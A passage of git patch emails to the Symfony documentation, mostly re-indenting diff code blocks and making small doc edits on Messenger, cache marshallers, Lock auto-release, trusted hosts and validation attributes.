@@ -105,32 +105,32 @@ But the routing system is *much* more powerful. So let's make the route more int
 
 .. code-block:: diff
 
-    # config/routes.yaml
-    index:
+      # config/routes.yaml
+      index:
     -     path: /
     +     path: /hello/{name}
-        controller: 'App\Controller\DefaultController::index'
+          controller: 'App\Controller\DefaultController::index'
 
 The URL to this page has changed: it is *now* ``/hello/*``: the ``{name}`` acts
 like a wildcard that matches anything. And it gets better! Update the controller too:
 
 .. code-block:: diff
 
-    <?php
-    // src/Controller/DefaultController.php
-    namespace App\Controller;
+      <?php
+      // src/Controller/DefaultController.php
+      namespace App\Controller;
 
-    use Symfony\Component\HttpFoundation\Response;
+      use Symfony\Component\HttpFoundation\Response;
 
-    class DefaultController
-    {
+      class DefaultController
+      {
     -     public function index()
     +     public function index($name)
-        {
+          {
     -         return new Response('Hello!');
     +         return new Response("Hello $name!");
-        }
-    }
+          }
+      }
 
 Try the page out by going to ``http://localhost:8000/hello/Symfony``. You should
 see: Hello Symfony! The value of the ``{name}`` in the URL is available as a ``$name``
@@ -155,22 +155,22 @@ Instead, add the route *right above* the controller method:
 
 .. code-block:: diff
 
-    <?php
-    // src/Controller/DefaultController.php
-    namespace App\Controller;
+      <?php
+      // src/Controller/DefaultController.php
+      namespace App\Controller;
 
-    use Symfony\Component\HttpFoundation\Response;
+      use Symfony\Component\HttpFoundation\Response;
     + use Symfony\Component\Routing\Annotation\Route;
 
-    class DefaultController
-    {
+      class DefaultController
+      {
     +    /**
     +     * @Route("/hello/{name}")
     +     */
-         public function index($name) {
-             // ...
-         }
-    }
+           public function index($name) {
+               // ...
+           }
+      }
 
 This works just like before! But by using annotations, the route and controller
 live right next to each other. Need another page? Add another route and method
diff --git a/security.rst b/security.rst
index 070c18b687c..a582997801b 100644
--- a/security.rst
+++ b/security.rst
@@ -238,13 +238,13 @@ Use this service to encode the passwords:
 
 .. code-block:: diff
 
-    // src/DataFixtures/UserFixtures.php
+      // src/DataFixtures/UserFixtures.php
 
     + use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface;
-    // ...
+      // ...
 
-    class UserFixtures extends Fixture
-    {
+      class UserFixtures extends Fixture
+      {
     +     private $passwordEncoder;
 
     +     public function __construct(UserPasswordEncoderInterface $passwordEncoder)
@@ -252,19 +252,19 @@ Use this service to encode the passwords:
     +         $this->passwordEncoder = $passwordEncoder;
     +     }
 
-        public function load(ObjectManager $manager)
-        {
-            $user = new User();
-            // ...
+          public function load(ObjectManager $manager)
+          {
+              $user = new User();
+              // ...
 
     +         $user->setPassword($this->passwordEncoder->encodePassword(
     +             $user,
     +             'the_new_password'
     +         ));
 
-            // ...
-        }
-    }
+              // ...
+          }
+      }
 
 You can manually encode a password by running:
 
@@ -671,8 +671,8 @@ using annotations:
 
 .. code-block:: diff
 
-    // src/Controller/AdminController.php
-    // ...
+      // src/Controller/AdminController.php
+      // ...
 
     + use Sensio\Bundle\FrameworkExtraBundle\Configuration\IsGranted;
 
@@ -681,18 +681,18 @@ using annotations:
     +  *
     +  * @IsGranted("ROLE_ADMIN")
     +  */
-    class AdminController extends AbstractController
-    {
+      class AdminController extends AbstractController
+      {
     +     /**
     +      * Require ROLE_ADMIN for only this controller method.
     +      *
     +      * @IsGranted("ROLE_ADMIN")
     +      */
-        public function adminDashboard()
-        {
-            // ...
-        }
-    }
+          public function adminDashboard()
+          {
+              // ...
+          }
+      }
 
 For more information, see the `FrameworkExtraBundle documentation`_.
 
diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index 768ce725a72..d78a415ff34 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -377,17 +377,17 @@ be redirected after success:
 
 .. code-block:: diff
 
-    // src/Security/LoginFormAuthenticator.php
+      // src/Security/LoginFormAuthenticator.php
 
-    // ...
-    public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey)
-    {
-        // ...
+      // ...
+      public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey)
+      {
+          // ...
 
     -     throw new \Exception('TODO: provide a valid redirect inside '.__FILE__);
     +     // redirect to some "app_homepage" route - of wherever you want
     +     return new RedirectResponse($this->urlGenerator->generate('app_homepage'));
-    }
+      }
 
 Unless you have any other TODOs in that file, that's it! If you're loading users
 from the database, make sure you've loaded some :ref:`dummy users <doctrine-fixtures>`.
diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
index 7a6a25b9618..7f0ff8b7f0b 100644
--- a/security/guard_authentication.rst
+++ b/security/guard_authentication.rst
@@ -27,22 +27,22 @@ your ``User`` class (the ``make:entity`` command is a good way to do this):
 
 .. code-block:: diff
 
-    // src/Entity/User.php
-    namespace App\Entity;
+      // src/Entity/User.php
+      namespace App\Entity;
 
-    // ...
+      // ...
 
-    class User implements UserInterface
-    {
-        // ...
+      class User implements UserInterface
+      {
+          // ...
 
     +     /**
     +      * @ORM\Column(type="string", unique=true, nullable=true)
     +      */
     +     private $apiToken;
 
-        // the getter and setter methods
-    }
+          // the getter and setter methods
+      }
 
 Don't forget to generate and run the migration:
 
@@ -518,13 +518,13 @@ are two possible fixes:
 
 .. code-block:: diff
 
-    // src/Security/MyIpAuthenticator.php
-    // ...
+      // src/Security/MyIpAuthenticator.php
+      // ...
 
     + use Symfony\Component\Security\Core\Security;
 
-    class MyIpAuthenticator
-    {
+      class MyIpAuthenticator
+      {
     +     private $security;
 
     +     public function __construct(Security $security)
@@ -532,8 +532,8 @@ are two possible fixes:
     +         $this->security = $security;
     +     }
 
-        public function supports(Request $request)
-        {
+          public function supports(Request $request)
+          {
     +         // if there is already an authenticated user (likely due to the session)
     +         // then return false and skip authentication: there is no need.
     +         if ($this->security->getUser()) {
@@ -542,8 +542,8 @@ are two possible fixes:
 
     +         // the user is not logged in, so the authenticator should continue
     +         return true;
-        }
-    }
+          }
+      }
 
 If you use autowiring, the ``Security``  service will automatically be passed to
 your authenticator.
diff --git a/security/securing_services.rst b/security/securing_services.rst
index 67b37dd792e..015d2a76400 100644
--- a/security/securing_services.rst
+++ b/security/securing_services.rst
@@ -14,14 +14,14 @@ want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` ro
 
 .. code-block:: diff
 
-    // src/Newsletter/NewsletterManager.php
+      // src/Newsletter/NewsletterManager.php
 
-    // ...
-    use Symfony\Component\Security\Core\Exception\AccessDeniedException;
+      // ...
+      use Symfony\Component\Security\Core\Exception\AccessDeniedException;
     + use Symfony\Component\Security\Core\Security;
 
-    class SalesReportManager
-    {
+      class SalesReportManager
+      {
     +     private $security;
 
     +     public function __construct(Security $security)
@@ -29,19 +29,19 @@ want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` ro
     +         $this->security = $security;
     +     }
 
-        public function sendNewsletter()
-        {
-            $salesData = [];
+          public function sendNewsletter()
+          {
+              $salesData = [];
 
     +         if ($this->security->isGranted('ROLE_SALES_ADMIN')) {
     +             $salesData['top_secret_numbers'] = rand();
     +         }
 
-            // ...
-        }
+              // ...
+          }
 
-        // ...
-    }
+          // ...
+      }
 
 If you're using the :ref:`default services.yaml configuration <service-container-services-load-example>`,
 Symfony will automatically pass the ``security.helper`` to your service
diff --git a/service_container.rst b/service_container.rst
index 9c4892712ea..fec082a377c 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -369,34 +369,34 @@ example, suppose you want to make the admin email configurable:
 
 .. code-block:: diff
 
-    // src/Service/SiteUpdateManager.php
-    // ...
+      // src/Service/SiteUpdateManager.php
+      // ...
 
-    class SiteUpdateManager
-    {
-        // ...
+      class SiteUpdateManager
+      {
+          // ...
     +    private $adminEmail;
 
     -    public function __construct(MessageGenerator $messageGenerator, MailerInterface $mailer)
     +    public function __construct(MessageGenerator $messageGenerator, MailerInterface $mailer, string $adminEmail)
-        {
-            // ...
+          {
+              // ...
     +        $this->adminEmail = $adminEmail;
-        }
+          }
 
-        public function notifyOfSiteUpdate(): bool
-        {
-            // ...
+          public function notifyOfSiteUpdate(): bool
+          {
+              // ...
 
-            $email = (new Email())
-                // ...
+              $email = (new Email())
+                  // ...
     -            ->to('manager@example.com')
     +            ->to($this->adminEmail)
-                // ...
-            ;
-            // ...
-        }
-    }
+                  // ...
+              ;
+              // ...
+          }
+      }
 
 If you make this change and refresh, you'll see an error:
 
diff --git a/setup/flex.rst b/setup/flex.rst
index 31f034db862..21c470a1073 100644
--- a/setup/flex.rst
+++ b/setup/flex.rst
@@ -58,14 +58,14 @@ manual steps:
 
    .. code-block:: diff
 
-       {
-           "require": {
-               "symfony/flex": "^1.0",
+         {
+             "require": {
+                 "symfony/flex": "^1.0",
        +   },
        +   "conflict": {
        +       "symfony/symfony": "*"
-           }
-       }
+             }
+         }
 
    Now you must add in ``composer.json`` all the Symfony dependencies required
    by your project. A quick way to do that is to add all the components that
diff --git a/setup/unstable_versions.rst b/setup/unstable_versions.rst
index 5e11526b20e..5e6e138ff8d 100644
--- a/setup/unstable_versions.rst
+++ b/setup/unstable_versions.rst
@@ -33,14 +33,14 @@ new version and change your ``minimum-stability`` to ``beta``:
 
 .. code-block:: diff
 
-    {
-        "require": {
+      {
+          "require": {
     +         "symfony/framework-bundle": "^4.0",
     +         "symfony/finder": "^4.0",
-            "...": "..."
-        },
+              "...": "..."
+          },
     +     "minimum-stability": "beta"
-    }
+      }
 
 You can also use set ``minimum-stability`` to ``dev``, or omit this line
 entirely, and opt into your stability on each package by using constraints
diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index 89f80ae109f..1562be9442b 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -131,26 +131,26 @@ starting with ``symfony/`` to the new major version:
 
 .. code-block:: diff
 
-    {
-        "...": "...",
+      {
+          "...": "...",
 
-        "require": {
+          "require": {
     -         "symfony/cache": "4.4.*",
     +         "symfony/cache": "5.0.*",
     -         "symfony/config": "4.4.*",
     +         "symfony/config": "5.0.*",
     -         "symfony/console": "4.4.*",
     +         "symfony/console": "5.0.*",
-            "...": "...",
+              "...": "...",
 
-            "...": "A few libraries starting with
-                    symfony/ follow their own versioning scheme. You
-                    do not need to update these versions: you can
-                    upgrade them independently whenever you want",
-            "symfony/monolog-bundle": "^3.5",
-        },
-        "...": "...",
-    }
+              "...": "A few libraries starting with
+                      symfony/ follow their own versioning scheme. You
+                      do not need to update these versions: you can
+                      upgrade them independently whenever you want",
+              "symfony/monolog-bundle": "^3.5",
+          },
+          "...": "...",
+      }
 
 At the bottom of your ``composer.json`` file, in the ``extra`` block you can
 find a data setting for the Symfony version. Make sure to also upgrade
@@ -158,13 +158,13 @@ this one. For instance, update it to ``5.0.*`` to upgrade to Symfony 5.0:
 
 .. code-block:: diff
 
-    "extra": {
-        "symfony": {
-            "allow-contrib": false,
+      "extra": {
+          "symfony": {
+              "allow-contrib": false,
     -       "require": "4.4.*"
     +       "require": "5.0.*"
-        }
-    }
+          }
+      }
 
 Next, use Composer to download new versions of the libraries:
 
diff --git a/setup/upgrade_minor.rst b/setup/upgrade_minor.rst
index 09a88124fa8..66e261a6726 100644
--- a/setup/upgrade_minor.rst
+++ b/setup/upgrade_minor.rst
@@ -28,39 +28,39 @@ probably need to update the version constraint next to each library starting
 
 .. code-block:: diff
 
-    {
-        "...": "...",
+      {
+          "...": "...",
 
-        "require": {
+          "require": {
     -         "symfony/cache": "4.3.*",
     +         "symfony/cache": "4.4.*",
     -         "symfony/config": "4.3.*",
     +         "symfony/config": "4.4.*",
     -         "symfony/console": "4.3.*",
     +         "symfony/console": "4.4.*",
-            "...": "...",
+              "...": "...",
 
-            "...": "A few libraries starting with
-                    symfony/ follow their versioning scheme. You
-                    do not need to update these versions: you can
-                    upgrade them independently whenever you want",
-            "symfony/monolog-bundle": "^3.5",
-        },
-        "...": "...",
-    }
+              "...": "A few libraries starting with
+                      symfony/ follow their versioning scheme. You
+                      do not need to update these versions: you can
+                      upgrade them independently whenever you want",
+              "symfony/monolog-bundle": "^3.5",
+          },
+          "...": "...",
+      }
 
 Your ``composer.json`` file should also have an ``extra`` block that you will
 *also* need to update:
 
 .. code-block:: diff
 
-    "extra": {
-        "symfony": {
-            "...": "...",
+      "extra": {
+          "symfony": {
+              "...": "...",
     -         "require": "4.3.*"
     +         "require": "4.4.*"
-        }
-    }
+          }
+      }
 
 Next, use Composer to download new versions of the libraries:
 

From c55c2a2745ce464fc90f0cb8c8d3d173205904ec Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Tue, 2 Mar 2021 21:23:44 +0100
Subject: [PATCH 0558/5766] [Messenger] Added note about timezone

---
 messenger.rst | 6 ++++++
 1 file changed, 6 insertions(+)

diff --git a/messenger.rst b/messenger.rst
index 0ee914216ca..1f4b116595e 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1001,6 +1001,12 @@ auto_setup          Whether the table should be created
                     automatically during send / get.       true
 ==================  =====================================  ======================
 
+.. caution::
+
+    Messages are stored in the database will have a datetime property which is created
+    with the timezone of the current system. This may cause issues if multiple machines
+    with different timezone configuration is using the same storage.
+
 Redis Transport
 ~~~~~~~~~~~~~~~
 

From e98f953d7bda83018ed723ad37f48b1656862f21 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Wed, 3 Mar 2021 21:12:36 +0100
Subject: [PATCH 0559/5766] [Translation] Update translation.rst

The trans() in the translator service is a method, not a function.
---
 translation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/translation.rst b/translation.rst
index 20025b8b5cd..4a0137b94d8 100644
--- a/translation.rst
+++ b/translation.rst
@@ -352,7 +352,7 @@ The ``translation:update`` command looks for missing translations in:
   defined in the :ref:`twig.default_path <config-twig-default-path>` and
   :ref:`twig.paths <config-twig-paths>` config options);
 * Any PHP file/class that injects or :doc:`autowires </service_container/autowiring>`
-  the ``translator`` service and makes calls to the ``trans()`` function.
+  the ``translator`` service and makes calls to the ``trans()`` method.
 
 .. versionadded:: 4.3
 

From 3d5dadda9986dd58c5e9df44bb3fd6ce6c1cf438 Mon Sep 17 00:00:00 2001
From: Roland Franssen <franssen.roland@gmail.com>
Date: Fri, 5 Mar 2021 09:10:22 +0100
Subject: [PATCH 0560/5766] Update env_var_processors.rst

---
 configuration/env_var_processors.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/configuration/env_var_processors.rst b/configuration/env_var_processors.rst
index 7b134067bef..a1c28de0c4f 100644
--- a/configuration/env_var_processors.rst
+++ b/configuration/env_var_processors.rst
@@ -285,7 +285,7 @@ Symfony provides the following env var processors:
 
             # config/packages/framework.yaml
             parameters:
-                env(TRUSTED_HOSTS): "10.0.0.1, 10.0.0.2"
+                env(TRUSTED_HOSTS): "10.0.0.1,10.0.0.2"
             framework:
                trusted_hosts: '%env(csv:TRUSTED_HOSTS)%'
 
@@ -302,7 +302,7 @@ Symfony provides the following env var processors:
                     https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
 
                 <parameters>
-                    <parameter key="env(TRUSTED_HOSTS)">["10.0.0.1", "10.0.0.2"]</parameter>
+                    <parameter key="env(TRUSTED_HOSTS)">10.0.0.1,10.0.0.2</parameter>
                 </parameters>
 
                 <framework:config trusted-hosts="%env(csv:TRUSTED_HOSTS)%"/>
@@ -311,7 +311,7 @@ Symfony provides the following env var processors:
         .. code-block:: php
 
             // config/packages/framework.php
-            $container->setParameter('env(TRUSTED_HOSTS)', '["10.0.0.1", "10.0.0.2"]');
+            $container->setParameter('env(TRUSTED_HOSTS)', '10.0.0.1,10.0.0.2');
             $container->loadFromExtension('framework', [
                 'trusted_hosts' => '%env(csv:TRUSTED_HOSTS)%',
             ]);

From e40b5d5ddefe1e61a14736d2a5f80521c3478d72 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Mar 2021 10:37:44 +0100
Subject: [PATCH 0561/5766] Reword

---
 messenger.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index 1f4b116595e..52f125a3b61 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1003,9 +1003,9 @@ auto_setup          Whether the table should be created
 
 .. caution::
 
-    Messages are stored in the database will have a datetime property which is created
-    with the timezone of the current system. This may cause issues if multiple machines
-    with different timezone configuration is using the same storage.
+    The datetime property of the messages stored in the database uses the
+    timezone of the current system. This may cause issues if multiple machines
+    with different timezone configuration use the same storage.
 
 Redis Transport
 ~~~~~~~~~~~~~~~

From b11322cc7f511054f9601e2bbaf55fe846633e2b Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Tue, 2 Mar 2021 15:32:52 +0100
Subject: [PATCH 0562/5766] [Cache] Remove `compression` option from Redis and
 Memcache

---
 components/cache/adapters/memcached_adapter.rst | 12 ------------
 components/cache/adapters/redis_adapter.rst     |  5 -----
 2 files changed, 17 deletions(-)

diff --git a/components/cache/adapters/memcached_adapter.rst b/components/cache/adapters/memcached_adapter.rst
index 9cd8c8cdd25..1b8103433e1 100644
--- a/components/cache/adapters/memcached_adapter.rst
+++ b/components/cache/adapters/memcached_adapter.rst
@@ -124,7 +124,6 @@ option names and their respective values::
 
         // associative array of configuration options
         [
-            'compression' => true,
             'libketama_compatible' => true,
             'serializer' => 'igbinary',
         ]
@@ -143,17 +142,6 @@ Available Options
     server(s). Any action that retrieves data, quits the connection, or closes
     down the connection will cause the buffer to be committed.
 
-``compression`` (type: ``bool``, default: ``true``)
-    Enables or disables payload compression, where item values longer than 100
-    bytes are compressed during storage and decompressed during retrieval.
-
-``compression_type`` (type: ``string``)
-    Specifies the compression method used on value payloads. when the
-    **compression** option is enabled.
-
-    Valid option values include ``fastlz`` and ``zlib``, with a default value
-    that *varies based on flags used at compilation*.
-
 ``connect_timeout`` (type: ``int``, default: ``1000``)
     Specifies the timeout (in milliseconds) of socket connection operations when
     the ``no_block`` option is enabled.
diff --git a/components/cache/adapters/redis_adapter.rst b/components/cache/adapters/redis_adapter.rst
index 935afcd9f92..ef40de623e9 100644
--- a/components/cache/adapters/redis_adapter.rst
+++ b/components/cache/adapters/redis_adapter.rst
@@ -131,7 +131,6 @@ array of ``key => value`` pairs representing option names and their respective v
 
         // associative array of configuration options
         [
-            'compression' => true,
             'lazy' => false,
             'persistent' => 0,
             'persistent_id' => null,
@@ -151,10 +150,6 @@ Available Options
     If none is specified, it will return ``\Redis`` if the ``redis`` extension is
     available, and ``\Predis\Client`` otherwise.
 
-``compression`` (type: ``bool``, default: ``true``)
-    Enables or disables compression of items. This requires phpredis v4 or higher with
-    LZF support enabled.
-
 ``lazy`` (type: ``bool``, default: ``false``)
     Enables or disables lazy connections to the backend. It's ``false`` by
     default when using this as a stand-alone component and ``true`` by default

From e98cef46e8a9469049446c97e49fc8b6817de372 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Pawe=C5=82=20Farys?= <pmg.farys@gmail.com>
Date: Thu, 4 Mar 2021 18:00:32 +0100
Subject: [PATCH 0563/5766] Fixed typo for YamlEncoder section

Minor typo fix for YamlEncoder section
---
 components/serializer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/serializer.rst b/components/serializer.rst
index f554ed7cf76..f2c3285a33b 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -994,7 +994,7 @@ The ``YamlEncoder`` Context Options
 The ``encode()`` method, like other encoder, uses ``context`` to set
 configuration options for the YamlEncoder an associative array::
 
-    $xmlEncoder->encode($array, 'xml', $context);
+    $yamlEncoder->encode($array, 'yaml', $context);
 
 These are the options available:
 

From 84ce746d39ce93e7c24a161763258794123be877 Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Tue, 2 Mar 2021 14:00:25 +0100
Subject: [PATCH 0564/5766] [Lock] Added paragraph about auto release

---
 components/lock.rst | 32 ++++++++++++++++++++++++++++++++
 1 file changed, 32 insertions(+)

diff --git a/components/lock.rst b/components/lock.rst
index 7b2c131947d..c1d3983aa46 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -199,6 +199,38 @@ This component also provides two useful methods related to expiring locks:
 ``getRemainingLifetime()`` (which returns ``null`` or a ``float``
 as seconds) and ``isExpired()`` (which returns a boolean).
 
+Automatically Releasing The Lock
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+A Lock will be automatically released when the Lock object is destructed. This is
+an implementation detail that will be important when Locks are shared between processes.
+In the example below, the ``pcntl_fork()`` will create two processes and the Lock
+will be released automatically as soon as one process finishes::
+
+    // ...
+    $lock = $factory->createLock('report-generation', 3600);
+    if (!$lock->acquire()) {
+        return;
+    }
+
+    $pid = pcntl_fork();
+    if ($pid == -1) {
+        // Could not fork
+        exit(1);
+    } elseif ($pid) {
+        // Parent process
+        sleep(30);
+    } else {
+        // Child process
+        echo 'The lock will be released now.'
+        exit(0);
+    }
+    // ...
+
+To disable this behavior, one needs to set the 3rd argument to the ``LockFactory::createLock()``
+to false. That will make the Lock acquired for 3600 seconds or until ``Lock::release()``
+is called.
+
 The Owner of The Lock
 ---------------------
 

From 4ed8ef05f5c2638305fa0e70f76e2f66a043ded0 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Mar 2021 11:00:58 +0100
Subject: [PATCH 0565/5766] Tweaks

---
 components/lock.rst | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/components/lock.rst b/components/lock.rst
index e92603aec5e..e0baecd9560 100644
--- a/components/lock.rst
+++ b/components/lock.rst
@@ -203,10 +203,10 @@ as seconds) and ``isExpired()`` (which returns a boolean).
 Automatically Releasing The Lock
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-A Lock will be automatically released when the Lock object is destructed. This is
-an implementation detail that will be important when Locks are shared between processes.
-In the example below, the ``pcntl_fork()`` will create two processes and the Lock
-will be released automatically as soon as one process finishes::
+Lock are automatically released when their Lock objects are destructed. This is
+an implementation detail that will be important when sharing Locks between
+processes. In the example below, ``pcntl_fork()`` creates two processes and the
+Lock will be released automatically as soon as one process finishes::
 
     // ...
     $lock = $factory->createLock('report-generation', 3600);
@@ -215,7 +215,7 @@ will be released automatically as soon as one process finishes::
     }
 
     $pid = pcntl_fork();
-    if ($pid == -1) {
+    if (-1 === $pid) {
         // Could not fork
         exit(1);
     } elseif ($pid) {
@@ -228,9 +228,9 @@ will be released automatically as soon as one process finishes::
     }
     // ...
 
-To disable this behavior, one needs to set the 3rd argument to the ``LockFactory::createLock()``
-to false. That will make the Lock acquired for 3600 seconds or until ``Lock::release()``
-is called.
+To disable this behavior, set to ``false`` the third argument of
+``LockFactory::createLock()``. That will make the lock acquired for 3600 seconds
+or until ``Lock::release()`` is called.
 
 The Owner of The Lock
 ---------------------

From 685cb2c6a684aca654b8be4baee4d81536da0a71 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Mar 2021 12:19:52 +0100
Subject: [PATCH 0566/5766] Tweak

---
 bundles/prepend_extension.rst | 4 +++-
 1 file changed, 3 insertions(+), 1 deletion(-)

diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index d0c6522e4ec..a332d45141f 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -82,9 +82,11 @@ in case a specific other bundle is not registered::
 
         // process the configuration of AcmeHelloExtension
         $configs = $container->getExtensionConfig($this->getAlias());
-        // resolve config parameters e.g. %kernel.debug% to boolean value
+
+        // resolve config parameters e.g. %kernel.debug% to its boolean value
         $resolvingBag = $container->getParameterBag();
         $configs = $resolvingBag->resolveValue($configs);
+        
         // use the Configuration class to generate a config array with
         // the settings "acme_hello"
         $config = $this->processConfiguration(new Configuration(), $configs);

From 126cf24a33a440396f8e7d7ffb961131272add0b Mon Sep 17 00:00:00 2001
From: Nyholm <tobias.nyholm@gmail.com>
Date: Tue, 2 Mar 2021 20:05:19 +0100
Subject: [PATCH 0567/5766] [Cache] Adding about marshallers

---
 components/cache.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/components/cache.rst b/components/cache.rst
index a620206682f..35002831be8 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -192,6 +192,25 @@ Now you can create, retrieve, update and delete items using this cache pool::
 
 For a list of all of the supported adapters, see :doc:`/components/cache/cache_pools`.
 
+Serializing Data
+----------------
+
+When an item is stored in the cache, it is serialised to a string. It is a class
+implementing :class:`Symfony\\Component\\Cache\\Marshaller\\MarshallerInterface`
+that is responsible for serializing and unserializing. Or to be technically correct:
+to ``marshall()`` and to ``unmarshall()``.
+
+The :class:`Symfony\\Component\\Cache\\Marshaller\\DefaultMarshaller` is using PHP's
+``serialize()`` or ``igbinary_serialize()`` if the Igbinary extension is installed.
+There are other marshallers that will encrypt or compress the data before storing it::
+
+    use Symfony\Component\Cache\Adapter\RedisAdapter;
+    use Symfony\Component\Cache\DefaultMarshaller;
+    use Symfony\Component\Cache\DeflateMarshaller;
+
+    $marshaller = new DeflateMarshaller(new DefaultMarshaller());
+    $cache = new RedisAdapter(new \Redis(), 'namespace', 0, $marshaller);
+
 Advanced Usage
 --------------
 

From 90ce1b2040cd92c02bade2adf1a8edbaf923e3d3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Mar 2021 13:09:24 +0100
Subject: [PATCH 0568/5766] Updates

---
 components/cache.rst | 30 +++++++++++++++++++++---------
 1 file changed, 21 insertions(+), 9 deletions(-)

diff --git a/components/cache.rst b/components/cache.rst
index 35002831be8..16c1f8a7691 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -192,17 +192,26 @@ Now you can create, retrieve, update and delete items using this cache pool::
 
 For a list of all of the supported adapters, see :doc:`/components/cache/cache_pools`.
 
-Serializing Data
-----------------
+Marshalling (Serializing) Data
+------------------------------
 
-When an item is stored in the cache, it is serialised to a string. It is a class
-implementing :class:`Symfony\\Component\\Cache\\Marshaller\\MarshallerInterface`
-that is responsible for serializing and unserializing. Or to be technically correct:
-to ``marshall()`` and to ``unmarshall()``.
+.. note::
+
+    `Marshalling`_ and `serializing`_ are similar concepts. Serializing is the
+    process of translating an object state into a format that can be stored
+    (e.g. in a file). Marshalling is the process of translating both the object
+    state and its codebase into a format that can be stored or transmitted.
+
+    Unmarshalling an object produces a copy of the original object, possibly by
+    automatically loading the class definitions of the object.
+
+Symfony uses *marshallers* (classes which implement
+:class:`Symfony\\Component\\Cache\\Marshaller\\MarshallerInterface`) to process
+the cache items before storing them.
 
-The :class:`Symfony\\Component\\Cache\\Marshaller\\DefaultMarshaller` is using PHP's
-``serialize()`` or ``igbinary_serialize()`` if the Igbinary extension is installed.
-There are other marshallers that will encrypt or compress the data before storing it::
+The :class:`Symfony\\Component\\Cache\\Marshaller\\DefaultMarshaller` uses PHP's
+``serialize()`` or ``igbinary_serialize()`` if the `Igbinary extension`_ is installed.
+There are other *marshallers* that can encrypt or compress the data before storing it::
 
     use Symfony\Component\Cache\Adapter\RedisAdapter;
     use Symfony\Component\Cache\DefaultMarshaller;
@@ -224,3 +233,6 @@ Advanced Usage
 .. _`Cache Contracts`: https://github.com/symfony/contracts/blob/master/Cache/CacheInterface.php
 .. _`Stampede prevention`: https://en.wikipedia.org/wiki/Cache_stampede
 .. _Probabilistic early expiration: https://en.wikipedia.org/wiki/Cache_stampede#Probabilistic_early_expiration
+.. _`Marshalling`: https://en.wikipedia.org/wiki/Marshalling_(computer_science)
+.. _`serializing`: https://en.wikipedia.org/wiki/Serialization
+.. _`Igbinary extension`: https://github.com/igbinary/igbinary

From 8a2e8d77bc4442e02dad895e1b63226968f586cf Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Sat, 6 Mar 2021 09:47:47 +0100
Subject: [PATCH 0569/5766] [Validator] Add PHP Attributes to validation groups

---
 validation/groups.rst            | 21 +++++++++++
 validation/sequence_provider.rst | 65 +++++++++++++++++++++++++++++++-
 2 files changed, 84 insertions(+), 2 deletions(-)

diff --git a/validation/groups.rst b/validation/groups.rst
index 7681f583a08..70dcc975655 100644
--- a/validation/groups.rst
+++ b/validation/groups.rst
@@ -42,6 +42,27 @@ user registers and when a user updates their contact information later:
             private $city;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Security\Core\User\UserInterface;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User implements UserInterface
+        {
+            #[Assert\Email(groups: ['registration'])]
+            private $email;
+
+            #[Assert\NotBlank(groups: ['registration'])]
+            #[Assert\Length(min: 7, groups: ['registration'])]
+            private $password;
+
+            #[Assert\Length(min: 2)]
+            private $city;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index 503c50f67e5..699711b661d 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -47,6 +47,33 @@ username and the password are different only if all other validation passes
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Security\Core\User\UserInterface;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        #[Assert\GroupSequence(['User', 'Strict'])]
+        class User implements UserInterface
+        {
+            #[Assert\NotBlank]
+            private $username;
+
+            #[Assert\NotBlank]
+            private $password;
+
+            #[Assert\IsTrue(
+                message: 'The password cannot match your username',
+                groups: ['Strict'],
+            )]
+            public function isPasswordSafe()
+            {
+                return ($this->username !== $this->password);
+            }
+        }
